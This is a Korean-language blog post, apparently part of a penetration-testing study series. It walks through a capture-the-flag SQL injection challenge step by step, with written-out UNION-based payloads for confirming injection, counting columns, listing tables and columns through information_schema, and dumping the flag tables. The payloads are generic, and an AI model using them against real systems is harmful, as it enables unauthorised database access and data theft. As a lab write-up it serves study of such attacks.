이번 문제는 숨겨진 데이터를 찾으면 되는 문제이다.
1. SQL 로직 확인
우선 SQL 로직을 확인하기 위해 4개의 데이터 중 중복으로 들어있는 'o'를 검색해 보겠다.
'o'가 중간에 있던 뒤에 있던 'o'가 들어있는 3개의 데이터 전부가 검색되는 것으로 보아
SELECT * FROM TABLE WHERE UserId LIKE '%검색어%'
위에 구문으로 되어있을 것으로 예상된다.
2. SQL 인젝션 확인
SQL 인젝션 확인을 위해
o%' and '1' = '1' #
해당 구문을 작성하고 출력한다.
결과가 나오는 것으로 보아 SQL 인젝션이 가능하다는 것을 알 수 있다.
select * from TABLE where ID like '%o%' and '1' = '1' # %' -> o 데이터만 나옴
select * from TABLE where ID like '%o%' or '1' = '1' # %' -> 전체 데이터 나옴
select * from TABLE where ID like '%o%' or '1' = '1 %' -> o 또한 거짓 => o 데이터만 나옴
select * from TABLE where ID like '%bello%' or '1' = '1' # %' -> 전체 데이터 나옴
select * from TABLE where ID like '%bello%' or '1' = '1 %' -> bello 데이터만 나옴
3. 컬럼 개수 확인
숨겨진 데이터를 찾기 위해 데이터 베이스의 전체 정보를 조회해야 하는데 그러기 위해선 컬럼 개수가 파악이 되어야 한다.
- o%' order by 1 # -> 실행 성공
- o%' order by 2 # -> 실행 성공
- o%' order by 3 # -> 실행 성공
- o%' order by 4 # -> 실행 성공
- o%' order by 5 # -> 실행 실패
- 컬럼 개수는 총 4개 이다.
4. 출력되는 컬럼 위치 확인
출력되는 데이터를 직접 볼 수 있는 컬럼을 파악해야 한다.
o%' union select 1,2,3,4 #
해당 로직 조회 시
임의의 데이터 전부가 보이는 것으로 보아 어떤 컬럼을 사용해도 문제가 없을 것 같다.
5. DB 명 확인
o%' union select 1,group_concat(database()),3,4 #
6. Table 명 확인
o%' union select 1, table_name,3,4 from information_schema.tables where table_schema = 'db 명' #
총 3개의 테이블이 나온다.
7. Column 명 확인
o%' union select 1, column_name ,3,4 from information_schema.columns where table_name= '테이블명' #
3개의 테이블 중 우선 유저와 관련한 테이블의 컬럼명을 확인해보면
현재 보이는 페이지와 컬럼명이 같은 것으로 보아 현재 보이는 페이지의 테이블이란 것을 알 수 있다.
나머지 플래그와 관련한 테이블 2개를 조회해 보면
위에 처럼 나오는 걸 볼 수 있다.
8. Data 확인
이제 데이터를 조회하려고 한다. 데이터는 조회 전 불필요한 리소스를 줄이기 위해 COUNT 함수를 사용하여 각 테이블의 행의 수를 파악하는 게 좋다.
o%' union select 1, concat('개수: ', count(*)), 3, 4 from 테이블명 #
우선 유저와 관련한 행의 개수는
총 4개이다. 그러므로 맨 처음 보인 데이터로 보아 4개가 전부 보였으니 유저와 관련한 테이블에는 숨겨진 정보가 없을 것으로 예상된다.
나머지 테이블도 살펴보면
두 테이블 다 데이터가 1개임이 확인된다. 그러므로 GROUP_CONCAT이나 LIMIT을 사용 안 해도 테이블 전체 데이터를 볼 수 있다.
o%' union select 1, 컬럼명1, 컬럼명2, 4 from 테이블명 #
이제 각각의 데이터를 확인해 보면
이렇게 2개의 플래그를 획득할 수 있다. 이 중 하나를 작성하면 이번 문제를 풀 수 있다.
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 7주차 정리 (0) | 2024.12.02 |
---|---|
모의해킹 스터디 CTF 문제 - SQL Injection 2 (0) | 2024.11.27 |
모의해킹 스터디 6주차 과제 (0) | 2024.11.25 |
모의해킹 스터디 CTF 문제 - Secret Login (0) | 2024.11.25 |
모의해킹 스터디 CTF 문제 - Login Bypass5 (0) | 2024.11.25 |